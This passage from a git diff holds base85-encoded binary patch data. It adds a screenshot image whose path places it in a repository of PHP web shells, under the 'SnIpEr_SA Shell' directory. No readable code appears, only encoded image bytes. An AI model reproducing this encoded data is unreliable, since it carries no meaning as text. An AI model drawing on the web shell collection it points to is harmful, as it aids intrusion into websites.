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 E7wrK!(EtDd literal 0 HcmV?d00001 diff --git a/php/PHPshell/SnIpEr_SA Shell/SnIpEr_SA Shell.jpg b/php/PHPshell/SnIpEr_SA Shell/SnIpEr_SA Shell.jpg new file mode 100644 index 0000000000000000000000000000000000000000..45388de1cf7cc2ebdc29cea130a628e1241f3ced GIT binary patch literal 96676 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 